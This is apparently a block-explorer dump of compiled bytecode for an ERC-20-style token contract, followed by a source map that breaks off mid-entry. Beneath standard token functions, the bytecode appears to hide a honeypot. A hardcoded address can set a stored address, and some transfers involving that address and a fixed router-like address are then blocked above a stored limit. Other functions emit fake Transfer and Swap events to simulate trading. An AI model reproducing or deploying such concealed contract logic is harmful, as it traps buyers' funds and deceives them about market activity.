0x608060405234801561000f575f80fd5b5060043610610109575f3560e01c8063715018a6116100a0578063aafe62d11161006f578063aafe62d1146102a5578063beabacc8146102c1578063dd62ed3e146102dd578063e7b817491461030d578063f2fde38b1461033d57610109565b8063715018a61461022f5780638da5cb5b1461023957806395d89b4114610257578063a9059cbb1461027557610109565b806323b872dd116100dc57806323b872dd1461019557806326ededb8146101c5578063313ce567146101e157806370a08231146101ff57610109565b806302f4dae31461010d57806306fdde0314610129578063095ea7b31461014757806318160ddd14610177575b5f80fd5b610127600480360381019061012291906113b2565b610359565b005b6101316104b9565b60405161013e91906114ad565b60405180910390f35b610161600480360381019061015c91906114cd565b610549565b60405161016e9190611525565b60405180910390f35b61017f61056b565b60405161018c919061154d565b60405180910390f35b6101af60048036038101906101aa9190611566565b610574565b6040516101bc9190611525565b60405180910390f35b6101df60048036038101906101da91906115b6565b6105a2565b005b6101e961066f565b6040516101f6919061162e565b60405180910390f35b61021960048036038101906102149190611647565b610677565b604051610226919061154d565b60405180910390f35b6102376106bd565b005b6102416106d0565b60405161024e9190611681565b60405180910390f35b61025f6106f7565b60405161026c91906114ad565b60405180910390f35b61028f600480360381019061028a91906114cd565b610787565b60405161029c9190611525565b60405180910390f35b6102bf60048036038101906102ba91906113b2565b6107a9565b005b6102db60048036038101906102d69190611566565b610909565b005b6102f760048036038101906102f2919061169a565b610973565b604051610304919061154d565b60405180910390f35b61032760048036038101906103229190611647565b6109f5565b6040516103349190611525565b60405180910390f35b61035760048036038101906103529190611647565b610a8e565b005b5f5b848490508110156104b257848482818110610379576103786116d8565b5b905060200201602081019061038e9190611647565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80886040516103f09493929190611747565b60405180910390a384848281811061040b5761040a6116d8565b5b90506020020160208101906104209190611647565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161049d919061154d565b60405180910390a3808060010191505061035b565b5050505050565b6060600480546104c8906117b7565b80601f01602080910402602001604051908101604052809291908181526020018280546104f4906117b7565b801561053f5780601f106105165761010080835404028352916020019161053f565b820191905f5260205f20905b81548152906001019060200180831161052257829003601f168201915b5050505050905090565b5f80610553610b10565b9050610560818585610b17565b600191505092915050565b5f600354905090565b5f8061057e610b10565b905061058b858285610cda565b610596858585610d65565b60019150509392505050565b5f5b83839050811015610669578383828181106105c2576105c16116d8565b5b90506020020160208101906105d79190611647565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610654919061154d565b60405180910390a380806001019150506105a4565b50505050565b5f6008905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106c5611178565b6106ce5f6111f6565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610706906117b7565b80601f0160208091040260200160405190810160405280929190818152602001828054610732906117b7565b801561077d5780601f106107545761010080835404028352916020019161077d565b820191905f5260205f20905b81548152906001019060200180831161076057829003601f168201915b5050505050905090565b5f80610791610b10565b905061079e818585610d65565b600191505092915050565b5f5b84849050811015610902578484828181106107c9576107c86116d8565b5b90506020020160208101906107de9190611647565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80886040516108409493929190611747565b60405180910390a384848281811061085b5761085a6116d8565b5b90506020020160208101906108709190611647565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516108ed919061154d565b60405180910390a380806001019150506107ab565b5050505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610966919061154d565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff16610a29610b10565b73ffffffffffffffffffffffffffffffffffffffff1603610a85578160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60019050919050565b610a96611178565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afb90611857565b60405180910390fd5b610b0d816111f6565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c906118e5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bea90611973565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccd919061154d565b60405180910390a3505050565b5f610ce58484610973565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d5f5781811015610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d48906119db565b60405180910390fd5b610d5e8484848403610b17565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dca90611a69565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3890611af7565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610edd5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80610fcc57508173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610f7f5750736b75d8af000000e20b7a7ddf000ba900b4009a8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610fcb575073ca219c74bd63122060785439b12cf80cfe3b5cba73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15610ff0575f600182610fdf9190611b42565b90506007548110610fee575f80fd5b505b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106b90611be5565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161115f919061154d565b60405180910390a36111728484846112b7565b50505050565b611180610b10565b73ffffffffffffffffffffffffffffffffffffffff1661119e6106d0565b73ffffffffffffffffffffffffffffffffffffffff16146111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb90611c4d565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126112e5576112e46112c4565b5b8235905067ffffffffffffffff811115611302576113016112c8565b5b60208301915083602082028301111561131e5761131d6112cc565b5b9250929050565b5f819050919050565b61133781611325565b8114611341575f80fd5b50565b5f813590506113528161132e565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61138182611358565b9050919050565b61139181611377565b811461139b575f80fd5b50565b5f813590506113ac81611388565b92915050565b5f805f80606085870312156113ca576113c96112bc565b5b5f85013567ffffffffffffffff8111156113e7576113e66112c0565b5b6113f3878288016112d0565b9450945050602061140687828801611344565b92505060406114178782880161139e565b91505092959194509250565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561145a57808201518184015260208101905061143f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61147f82611423565b611489818561142d565b935061149981856020860161143d565b6114a281611465565b840191505092915050565b5f6020820190508181035f8301526114c58184611475565b905092915050565b5f80604083850312156114e3576114e26112bc565b5b5f6114f08582860161139e565b925050602061150185828601611344565b9150509250929050565b5f8115159050919050565b61151f8161150b565b82525050565b5f6020820190506115385f830184611516565b92915050565b61154781611325565b82525050565b5f6020820190506115605f83018461153e565b92915050565b5f805f6060848603121561157d5761157c6112bc565b5b5f61158a8682870161139e565b935050602061159b8682870161139e565b92505060406115ac86828701611344565b9150509250925092565b5f805f604084860312156115cd576115cc6112bc565b5b5f84013567ffffffffffffffff8111156115ea576115e96112c0565b5b6115f6868287016112d0565b9350935050602061160986828701611344565b9150509250925092565b5f60ff82169050919050565b61162881611613565b82525050565b5f6020820190506116415f83018461161f565b92915050565b5f6020828403121561165c5761165b6112bc565b5b5f6116698482850161139e565b91505092915050565b61167b81611377565b82525050565b5f6020820190506116945f830184611672565b92915050565b5f80604083850312156116b0576116af6112bc565b5b5f6116bd8582860161139e565b92505060206116ce8582860161139e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61173161172c61172784611705565b61170e565b611325565b9050919050565b61174181611717565b82525050565b5f60808201905061175a5f83018761153e565b6117676020830186611738565b6117746040830185611738565b611781606083018461153e565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806117ce57607f821691505b6020821081036117e1576117e061178a565b5b50919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61184160268361142d565b915061184c826117e7565b604082019050919050565b5f6020820190508181035f83015261186e81611835565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118cf60248361142d565b91506118da82611875565b604082019050919050565b5f6020820190508181035f8301526118fc816118c3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61195d60228361142d565b915061196882611903565b604082019050919050565b5f6020820190508181035f83015261198a81611951565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6119c5601d8361142d565b91506119d082611991565b602082019050919050565b5f6020820190508181035f8301526119f2816119b9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a5360258361142d565b9150611a5e826119f9565b604082019050919050565b5f6020820190508181035f830152611a8081611a47565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611ae160238361142d565b9150611aec82611a87565b604082019050919050565b5f6020820190508181035f830152611b0e81611ad5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b4c82611325565b9150611b5783611325565b9250828201905080821115611b6f57611b6e611b15565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611bcf60268361142d565b9150611bda82611b75565b604082019050919050565b5f6020820190508181035f830152611bfc81611bc3565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611c3760208361142d565b9150611c4282611c03565b602082019050919050565b5f6020820190508181035f830152611c6481611c2b565b905091905056fea2646970667358221220f01e2ef4c030cb0de6be4ef6dcc79f9056d0bbbbf84dcc995e1037a184350e1064736f6c63430008160033

Deployed Bytecode Sourcemap

3097:5559:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3830:279;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3506:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5112:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5681:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5321:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4404:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3728:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5852:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2573:103;;;:::i;:::-;;2338:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3614:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4750:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4115:281;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4625:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4951:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5987:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2684:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3830:279;3928:9;3923:179;3947:11;;:18;;3943:1;:22;3923:179;;;4017:11;;4029:1;4017:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3992:40;;3997:2;3992:40;;;4001:3;4006:1;4009;4012:3;3992:40;;;;;;;;;:::i;:::-;;;;;;;;4070:11;;4082:1;4070:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4052:38;;4061:7;;;;;;;;;;;4052:38;;;4086:3;4052:38;;;;;;:::i;:::-;;;;;;;;3967:3;;;;;;;3923:179;;;;3830:279;;;;:::o;3506:100::-;3560:13;3593:5;3586:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3506:100;:::o;5112:201::-;5195:4;5212:13;5228:12;:10;:12::i;:::-;5212:28;;5251:32;5260:5;5267:7;5276:6;5251:8;:32::i;:::-;5301:4;5294:11;;;5112:201;;;;:::o;5681:108::-;5742:7;5769:12;;5762:19;;5681:108;:::o;5321:295::-;5452:4;5469:15;5487:12;:10;:12::i;:::-;5469:30;;5510:38;5526:4;5532:7;5541:6;5510:15;:38::i;:::-;5559:27;5569:4;5575:2;5579:6;5559:9;:27::i;:::-;5604:4;5597:11;;;5321:295;;;;;:::o;4404:211::-;4493:9;4488:120;4512:11;;:18;;4508:1;:22;4488:120;;;4575:11;;4587:1;4575:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4557:39;;4566:7;;;;;;;;;;;4557:39;;;4591:4;4557:39;;;;;;:::i;:::-;;;;;;;;4532:3;;;;;;;4488:120;;;;4404:211;;;:::o;3728:92::-;3786:5;3811:1;3804:8;;3728:92;:::o;5852:127::-;5926:7;5953:9;:18;5963:7;5953:18;;;;;;;;;;;;;;;;5946:25;;5852:127;;;:::o;2573:103::-;2299:13;:11;:13::i;:::-;2638:30:::1;2665:1;2638:18;:30::i;:::-;2573:103::o:0;2338:87::-;2384:7;2411:6;;;;;;;;;;;2404:13;;2338:87;:::o;3614:104::-;3670:13;3703:7;3696:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3614:104;:::o;4750:193::-;4829:4;4846:13;4862:12;:10;:12::i;:::-;4846:28;;4885;4895:5;4902:2;4906:6;4885:9;:28::i;:::-;4931:4;4924:11;;;4750:193;;;;:::o;4115:281::-;4215:9;4210:179;4234:11;;:18;;4230:1;:22;4210:179;;;4304:11;;4316:1;4304:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4279:40;;4284:2;4279:40;;;4288:3;4293:1;4296;4299:3;4279:40;;;;;;;;;:::i;:::-;;;;;;;;4357:11;;4369:1;4357:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4339:38;;4348:7;;;;;;;;;;;4339:38;;;4373:3;4339:38;;;;;;:::i;:::-;;;;;;;;4254:3;;;;;;;4210:179;;;;4115:281;;;;:::o;4625:119::-;4726:3;4710:26;;4719:5;4710:26;;;4731:4;4710:26;;;;;;:::i;:::-;;;;;;;;4625:119;;;:::o;4951:151::-;5040:7;5067:11;:18;5079:5;5067:18;;;;;;;;;;;;;;;:27;5086:7;5067:27;;;;;;;;;;;;;;;;5060:34;;4951:151;;;;:::o;5987:189::-;6048:4;6085:42;6069:58;;:12;:10;:12::i;:::-;:58;;;6066:80;;6139:7;6129;;:17;;;;;;;;;;;;;;;;;;6066:80;6164:4;6157:11;;5987:189;;;:::o;2684:201::-;2299:13;:11;:13::i;:::-;2793:1:::1;2773:22;;:8;:22;;::::0;2765:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2849:28;2868:8;2849:18;:28::i;:::-;2684:201:::0;:::o;1813:98::-;1866:7;1893:10;1886:17;;1813:98;:::o;6599:380::-;6752:1;6735:19;;:5;:19;;;6727:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6833:1;6814:21;;:7;:21;;;6806:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6917:6;6887:11;:18;6899:5;6887:18;;;;;;;;;;;;;;;:27;6906:7;6887:27;;;;;;;;;;;;;;;:36;;;;6955:7;6939:32;;6948:5;6939:32;;;6964:6;6939:32;;;;;;:::i;:::-;;;;;;;;6599:380;;;:::o;7922:453::-;8057:24;8084:25;8094:5;8101:7;8084:9;:25::i;:::-;8057:52;;8144:17;8124:16;:37;8120:248;;8206:6;8186:16;:26;;8178:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8290:51;8299:5;8306:7;8334:6;8315:16;:25;8290:8;:51::i;:::-;8120:248;8046:329;7922:453;;;:::o;6991:923::-;7138:1;7122:18;;:4;:18;;;7114:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7215:1;7201:16;;:2;:16;;;7193:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7280:7;;;;;;;;;;;7272:15;;:4;:15;;;;:67;;;;;7297:42;7291:48;;:2;:48;;;7272:67;7271:197;;;;7356:2;7345:13;;:7;;;;;;;;;;;:13;;;:67;;;;;7370:42;7362:50;;:4;:50;;;;7345:67;:122;;;;;7425:42;7416:51;;:4;:51;;;;7345:122;7271:197;7268:295;;;7485:14;7511:1;7502:6;:10;;;;:::i;:::-;7485:27;;7544:5;;7535:6;:14;7527:24;;;;;;7470:93;7268:295;7573:19;7595:9;:15;7605:4;7595:15;;;;;;;;;;;;;;;;7573:37;;7644:6;7629:11;:21;;7621:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7761:6;7747:11;:20;7729:9;:15;7739:4;7729:15;;;;;;;;;;;;;;;:38;;;;7799:6;7782:9;:13;7792:2;7782:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;7847:2;7832:26;;7841:4;7832:26;;;7851:6;7832:26;;;;;;:::i;:::-;;;;;;;;7869:37;7889:4;7895:2;7899:6;7869:19;:37::i;:::-;7103:811;6991:923;;;:::o;2431:132::-;2506:12;:10;:12::i;:::-;2495:23;;:7;:5;:7::i;:::-;:23;;;2487:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2431:132::o;2893:191::-;2967:16;2986:6;;;;;;;;;;;2967:25;;3012:8;3003:6;;:17;;;;;;;;;;;;;;;;;;3067:8;3036:40;;3057:8;3036:40;;;;;;;;;;;;2956:128;2893:191;:::o;8385:124::-;;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:77::-;1331:7;1360:5;1349:16;;1294:77;;;:::o;1377:122::-;1450:24;1468:5;1450:24;:::i;:::-;1443:5;1440:35;1430:63;;1489:1;1486;1479:12;1430:63;1377:122;:::o;1505:139::-;1551:5;1589:6;1576:20;1567:29;;1605:33;1632:5;1605:33;:::i;:::-;1505:139;;;;:::o;1650:126::-;1687:7;1727:42;1720:5;1716:54;1705:65;;1650:126;;;:::o;1782:96::-;1819:7;1848:24;1866:5;1848:24;:::i;:::-;1837:35;;1782:96;;;:::o;1884:122::-;1957:24;1975:5;1957:24;:::i;:::-;1950:5;1947:35;1937:63;;1996:1;1993;1986:12;1937:63;1884:122;:::o;2012:139::-;2058:5;2096:6;2083:20;2074:29;;2112:33;2139:5;2112:33;:::i;:::-;2012:139;;;;:::o;2157:849::-;2261:6;2269;2277;2285;2334:2;2322:9;2313:7;2309:23;2305:32;2302:119;;;2340:79;;:::i;:::-;2302:119;2488:1;2477:9;2473:17;2460:31;2518:18;2510:6;2507:30;2504:117;;;2540:79;;:::i;:::-;2504:117;2653:80;2725:7;2716:6;2705:9;2701:22;2653:80;:::i;:::-;2635:98;;;;2431:312;2782:2;2808:53;2853:7;2844:6;2833:9;2829:22;2808:53;:::i;:::-;2798:63;;2753:118;2910:2;2936:53;2981:7;2972:6;2961:9;2957:22;2936:53;:::i;:::-;2926:63;;2881:118;2157:849;;;;;;;:::o;3012:99::-;3064:6;3098:5;3092:12;3082:22;;3012:99;;;:::o;3117:169::-;3201:11;3235:6;3230:3;3223:19;3275:4;3270:3;3266:14;3251:29;;3117:169;;;;:::o;3292:246::-;3373:1;3383:113;3397:6;3394:1;3391:13;3383:113;;;3482:1;3477:3;3473:11;3467:18;3463:1;3458:3;3454:11;3447:39;3419:2;3416:1;3412:10;3407:15;;3383:113;;;3530:1;3521:6;3516:3;3512:16;3505:27;3354:184;3292:246;;;:::o;3544:102::-;3585:6;3636:2;3632:7;3627:2;3620:5;3616:14;3612:28;3602:38;;3544:102;;;:::o;3652:377::-;3740:3;3768:39;3801:5;3768:39;:::i;:::-;3823:71;3887:6;3882:3;3823:71;:::i;:::-;3816:78;;3903:65;3961:6;3956:3;3949:4;3942:5;3938:16;3903:65;:::i;:::-;3993:29;4015:6;3993:29;:::i;:::-;3988:3;3984:39;3977:46;;3744:285;3652:377;;;;:::o;4035:313::-;4148:4;4186:2;4175:9;4171:18;4163:26;;4235:9;4229:4;4225:20;4221:1;4210:9;4206:17;4199:47;4263:78;4336:4;4327:6;4263:78;:::i;:::-;4255:86;;4035:313;;;;:::o;4354:474::-;4422:6;4430;4479:2;4467:9;4458:7;4454:23;4450:32;4447:119;;;4485:79;;:::i;:::-;4447:119;4605:1;4630:53;4675:7;4666:6;4655:9;4651:22;4630:53;:::i;:::-;4620:63;;4576:117;4732:2;4758:53;4803:7;4794:6;4783:9;4779:22;4758:53;:::i;:::-;4748:63;;4703:118;4354:474;;;;;:::o;4834:90::-;4868:7;4911:5;4904:13;4897:21;4886:32;;4834:90;;;:::o;4930:109::-;5011:21;5026:5;5011:21;:::i;:::-;5006:3;4999:34;4930:109;;:::o;5045:210::-;5132:4;5170:2;5159:9;5155:18;5147:26;;5183:65;5245:1;5234:9;5230:17;5221:6;5183:65;:::i;:::-;5045:210;;;;:::o;5261:118::-;5348:24;5366:5;5348:24;:::i;:::-;5343:3;5336:37;5261:118;;:::o;5385:222::-;5478:4;5516:2;5505:9;5501:18;5493:26;;5529:71;5597:1;5586:9;5582:17;5573:6;5529:71;:::i;:::-;5385:222;;;;:::o;5613:619::-;5690:6;5698;5706;5755:2;5743:9;5734:7;5730:23;5726:32;5723:119;;;5761:79;;:::i;:::-;5723:119;5881:1;5906:53;5951:7;5942:6;5931:9;5927:22;5906:53;:::i;:::-;5896:63;;5852:117;6008:2;6034:53;6079:7;6070:6;6059:9;6055:22;6034:53;:::i;:::-;6024:63;;5979:118;6136:2;6162:53;6207:7;6198:6;6187:9;6183:22;6162:53;:::i;:::-;6152:63;;6107:118;5613:619;;;;;:::o;6238:704::-;6333:6;6341;6349;6398:2;6386:9;6377:7;6373:23;6369:32;6366:119;;;6404:79;;:::i;:::-;6366:119;6552:1;6541:9;6537:17;6524:31;6582:18;6574:6;6571:30;6568:117;;;6604:79;;:::i;:::-;6568:117;6717:80;6789:7;6780:6;6769:9;6765:22;6717:80;:::i;:::-;6699:98;;;;6495:312;6846:2;6872:53;6917:7;6908:6;6897:9;6893:22;6872:53;:::i;:::-;6862:63;;6817:118;6238:704;;;;;:::o;6948:86::-;6983:7;7023:4;7016:5;7012:16;7001:27;;6948:86;;;:::o;7040:112::-;7123:22;7139:5;7123:22;:::i;:::-;7118:3;7111:35;7040:112;;:::o;7158:214::-;7247:4;7285:2;7274:9;7270:18;7262:26;;7298:67;7362:1;7351:9;7347:17;7338:6;7298:67;:::i;:::-;7158:214;;;;:::o;7378:329::-;7437:6;7486:2;7474:9;7465:7;7461:23;7457:32;7454:119;;;7492:79;;:::i;:::-;7454:119;7612:1;7637:53;7682:7;7673:6;7662:9;7658:22;7637:53;:::i;:::-;7627:63;;7583:117;7378:329;;;;:::o;7713:118::-;7800:24;7818:5;7800:24;:::i;:::-;7795:3;7788:37;7713:118;;:::o;7837:222::-;7930:4;7968:2;7957:9;7953:18;7945:26;;7981:71;8049:1;8038:9;8034:17;8025:6;7981:71;:::i;:::-;7837:222;;;;:::o;8065:474::-;8133:6;8141;8190:2;8178:9;8169:7;8165:23;8161:32;8158:119;;;8196:79;;:::i;:::-;8158:119;8316:1;8341:53;8386:7;8377:6;8366:9;8362:22;8341:53;:::i;:::-;8331:63;;8287:117;8443:2;8469:53;8514:7;8505:6;8494:9;8490:22;8469:53;:::i;:::-;8459:63;;8414:118;8065:474;;;;;:::o;8545:180::-;8593:77;8590:1;8583:88;8690:4;8687:1;8680:15;8714:4;8711:1;8704:15;8731:85;8776:7;8805:5;8794:16;;8731:85;;;:::o;8822:60::-;8850:3;8871:5;8864:12;;8822:60;;;:::o;8888:158::-;8946:9;8979:61;8997:42;9006:32;9032:5;9006:32;:::i;:::-;8997:42;:::i;:::-;8979:61;:::i;:::-;8966:74;;8888:158;;;:::o;9052:147::-;9147:45;9186:5;9147:45;:::i;:::-;9142:3;9135:58;9052:147;;:::o;9205:585::-;9398:4;9436:3;9425:9;9421:19;9413:27;;9450:71;9518:1;9507:9;9503:17;9494:6;9450:71;:::i;:::-;9531:80;9607:2;9596:9;9592:18;9583:6;9531:80;:::i;:::-;9621;9697:2;9686:9;9682:18;9673:6;9621:80;:::i;:::-;9711:72;9779:2;9768:9;9764:18;9755:6;9711:72;:::i;:::-;9205:585;;;;;;;:::o;9796:180::-;9844:77;9841:1;9834:88;9941:4;9938:1;9931:15;9965:4;9962:1;9955:15;9982:320;10026:6;10063:1;10057:4;10053:12;10043:22;;10110:1;10104:4;10100:12;10131:18;10121:81;;10187:4;10179:6;10175:17;10165:27;;10121:81;10249:2;10241:6;10238:14;10218:18;10215:38;10212:84;;10268:18;;:::i;:::-;10212:84;10033:269;9982:320;;;:::o;10308:225::-;10448:34;10444:1;10436:6;10432:14;10425:58;10517:8;10512:2;10504:6;10500:15;10493:33;10308:225;:::o;10539:366::-;10681:3;10702:67;10766:2;10761:3;10702:67;:::i;:::-;10695:74;;10778:93;10867:3;